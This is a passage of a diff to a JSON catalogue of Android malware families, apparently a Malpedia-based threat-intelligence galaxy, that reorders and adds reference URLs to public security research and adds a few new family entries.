"https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain", + "https://www.ncsc.admin.ch/22w12-de", + "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368" ], "synonyms": [ "Cabassous", @@ -1192,9 +1250,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot", - "https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", "https://securelist.com/roaming-mantis-part-v/96250/", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681" + "https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html" ], "synonyms": [], "type": [] @@ -1207,12 +1265,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball", - "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html", - "https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/", - "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program", - "https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf", "https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/", - "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/" + "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program", + "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", + "https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf", + "https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/", + "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html" ], "synonyms": [], "type": [] @@ -1265,12 +1323,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp", - "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", - "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/", - "https://www.youtube.com/watch?v=WeL_xSryj8E", "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/", + "https://www.youtube.com/watch?v=WeL_xSryj8E", + "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", "https://twitter.com/ESETresearch/status/1269945115738542080", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html" + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/" ], "synonyms": [], "type": [] @@ -1283,8 +1341,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove", - "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773", "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/", + "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773", "https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/", "https://www.clearskysec.com/glancelove/" ], @@ -1392,12 +1450,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff", - "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html", "https://blog.talosintelligence.com/2019/10/gustuffv2.html", "https://www.group-ib.com/media/gustuff/", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html" + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html" ], "synonyms": [], "type": [] @@ -1411,8 +1469,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hardrain", "https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990", - "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", - "https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/" + "https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/", + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" ], "synonyms": [], "type": [] @@ -1425,8 +1483,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw", - "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/", - "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw" + "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw", + "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/" ], "synonyms": [], "type": [] @@ -1454,6 +1512,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit", + "https://www.lighthousereports.nl/investigation/revealing-europes-nso", "https://de.lookout.com/blog/hermit-spyware-discovery", "https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/" ], @@ -1481,6 +1540,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hiddenad", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/", "https://labs.bitdefender.com/2020/03/infected-zoom-apps-for-android-target-work-from-home-users", "https://twitter.com/LukasStefanko/status/1136568939239137280", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", @@ -1510,11 +1570,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://muha2xmad.github.io/malware-analysis/hydra/", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", + "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", + "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", + "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", - "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/", - "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html" + "https://twitter.com/muha2xmad/status/1570788983474638849", + "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/" ], "synonyms": [], "type": [] @@ -1538,6 +1604,21 @@ "uuid": "dc0c8824-64ac-4ab2-a0e4-955a14ecc59c", "value": "IPStorm (Android)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata", + "https://twitter.com/muha2xmad/status/1562831996078157826", + "https://muha2xmad.github.io/malware-analysis/irata/", + "https://onecert.ir/portal/blog/irata" + ], + "synonyms": [], + "type": [] + }, + "uuid": "24fb43b4-d6a6-49c0-a862-4211a245b635", + "value": "IRATA" + }, { "description": "", "meta": { @@ -1570,13 +1651,17 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker", "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", - "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451", + "https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2", + "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", "https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/", - "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/", "https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks--using-github-to-hide-its-payload.html", - "https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/", "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", - "https://labs.k7computing.com/?p=22199" + "https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/", + "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://labs.k7computing.com/?p=22199", + "https://muha2xmad.github.io/malware-analysis/hydra/", + "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451" ], "synonyms": [ "Bread" @@ -1632,10 +1717,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter", - "https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/", "https://twitter.com/malwrhunterteam/status/1337684036374945792", + "https://www.youtube.com/watch?v=nilzxS9rxEM", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf", - "https://www.youtube.com/watch?v=nilzxS9rxEM" + "https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/" ], "synonyms": [], "type": [] @@ -1661,12 +1746,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot", - "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", - 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"synonyms": [], "type": [] @@ -1752,8 +1838,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa", "https://twitter.com/ThreatFabric/status/1285144962695340032", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", - "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html" + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" ], "synonyms": [ "Gorgona" @@ -1768,9 +1854,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter", - "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe", "https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12", - "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html" + "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", + "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe" ], "synonyms": [], "type": [] @@ -1796,18 +1882,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao", - "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", - "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", - "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", - "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", - "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", "https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", + "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", + "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", "https://securelist.com/roaming-mantis-part-v/96250/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf" + "https://www.xanhacks.xyz/p/moqhao-malware-analysis", + "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", + "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", + "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/" ], "synonyms": [ "Shaoye", @@ -1849,9 +1937,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Android.OmniRAT", + "https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co", "https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/", - "https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co" + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Android.OmniRAT" ], "synonyms": [], "type": [] @@ -1893,11 +1981,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.phantomlance", - "https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html", - "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://securelist.com/apt-phantomlance/96772/", + "https://securelist.com/it-threat-evolution-q2-2020/98230", "https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view", + "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf", - "https://securelist.com/apt-phantomlance/96772/" + "https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html" ], "synonyms": [ "PWNDROID1" @@ -1925,8 +2014,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer", - "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/", - "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/" + "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/", + "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/" ], "synonyms": [ "BrazKing" @@ -2077,11 +2166,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe", "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html", - "https://www.govcert.admin.ch/blog/33/the-retefe-saga", + "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/", "http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html", "http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html", - "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html", - "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/" + "https://www.govcert.admin.ch/blog/33/the-retefe-saga", + "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html" ], "synonyms": [], "type": [] @@ -2089,11 +2178,25 @@ "uuid": "22ef1e56-7778-41d1-9b2b-737aa5bf9777", "value": "Retefe (Android)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.revive", + "https://www.cleafy.com/cleafy-labs/revive-from-spyware-to-android-banking-trojan" + ], + "synonyms": [], + "type": [] + }, + "uuid": "25669934-14bf-463f-bcae-c59c590c3bf8", + "value": "Revive" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.riltok", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://securelist.com/mobile-banker-riltok/91374/" ], "synonyms": [], @@ -2107,9 +2210,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis", + "https://securelist.com/roaming-mantis-reaches-europe/105596/", "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", - "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/", - "https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/" + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", + "https://securelist.com/roaming-mantis-part-v/96250/", + "https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/", + "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/" ], "synonyms": [], "type": [] @@ -2135,8 +2241,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik", - "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer", - "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java" + "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java", + "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer" ], "synonyms": [], "type": [] @@ -2162,10 +2268,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot", - "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", + "https://muha2xmad.github.io/malware-analysis/sharkbot/", + "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe", "https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", - "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/", - "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe" + "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", + "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", + "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/" ], "synonyms": [], "type": [] @@ -2173,6 +2281,19 @@ "uuid": "7b20fdb1-5aee-4f17-a88e-bcd72c893f0a", "value": "SharkBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sidewinder", + "https://ti.qianxin.com/blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-google-play/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "af929cac-e0c6-4a63-ac5a-02c4cbbab746", + "value": "SideWinder (Android)" + }, { "description": "", "meta": { @@ -2220,8 +2341,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker", - "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/", - "https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/" + "https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/" ], "synonyms": [], "type": [] @@ -2261,6 +2382,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova", "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html", + "https://muha2xmad.github.io/malware-analysis/sova/", + "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly", "https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/" ], "synonyms": [], @@ -2301,9 +2424,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax", + "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league", "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://twitter.com/malwrhunterteam/status/1250412485808717826", - "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league" + "https://twitter.com/malwrhunterteam/status/1250412485808717826" ], "synonyms": [], "type": [] @@ -2316,13 +2439,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote", - "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", - "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", "https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/", - "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan" + "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan", + "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", + "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", + "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr" ], "synonyms": [], "type": [] @@ -2348,6 +2473,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango", + "https://www.lookout.com/blog/stealth-mango", "https://www.lookout.com/info/stealth-mango-report-ty" ], "synonyms": [], @@ -2361,8 +2487,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng", - "https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/", - "https://securelist.com/mobile-malware-evolution-2019/96280/" + "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/" ], "synonyms": [], "type": [] @@ -2388,8 +2514,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat", - "https://www.secureworks.com/research/threat-profiles/platinum-terminal", - "https://twitter.com/LukasStefanko/status/1118066622512738304" + "https://twitter.com/LukasStefanko/status/1118066622512738304", + "https://www.secureworks.com/research/threat-profiles/platinum-terminal" ], "synonyms": [ "Assassin RAT" @@ -2485,8 +2611,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan", - "https://blog.lookout.com/titan-mobile-threat", - "https://www.alienvault.com/blogs/labs-research/delivery-keyboy" + "https://www.alienvault.com/blogs/labs-research/delivery-keyboy", + "https://blog.lookout.com/titan-mobile-threat" ], "synonyms": [], "type": [] @@ -2499,16 +2625,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada", - "https://securelist.com/apkpure-android-app-store-infected/101845/", - "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/", "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", + "https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/", + "https://securelist.com/apkpure-android-app-store-infected/101845/", + "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/", - "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/", + "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/", "http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html", "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/", "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html", - "https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/", - "https://securelist.com/mobile-malware-evolution-2019/96280/" + "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/" ], "synonyms": [], "type": [] @@ -2584,12 +2710,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005", - "https://s.tencent.com/research/report/951.html", - "https://twitter.com/voodoodahl1/status/1267571622732578816", "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", "https://community.riskiq.com/article/6f60db72", + "https://s.tencent.com/research/report/951.html", + "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/", "https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html", - "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/" + "https://twitter.com/voodoodahl1/status/1267571622732578816" ], "synonyms": [], "type": [] @@ -2602,10 +2728,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006", - "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", - "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/", "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749", - "https://twitter.com/ReBensk/status/1438027183490940931" + "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", + "https://twitter.com/ReBensk/status/1438027183490940931", + "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/" ], "synonyms": [], "type": [] @@ -2644,9 +2770,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy", - "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww", + "https://twitter.com/LukasStefanko/status/1509451238366236674", "https://twitter.com/malwrhunterteam/status/1481312752782258176", - "https://twitter.com/LukasStefanko/status/1509451238366236674" + "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww" ], "synonyms": [], "type": [] @@ -2674,9 +2800,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat", - "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", "https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/", - "https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/" + "https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/", + "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf" ], "synonyms": [], "type": [] @@ -2689,8 +2815,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur", - "https://twitter.com/_icebre4ker_/status/1485651238175846400", - "https://www.threatfabric.com/blogs/vultur-v-for-vnc.html" + "https://www.threatfabric.com/blogs/vultur-v-for-vnc.html", + "https://twitter.com/_icebre4ker_/status/1485651238175846400" ], "synonyms": [ "Vulture" @@ -2705,10 +2831,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex", - 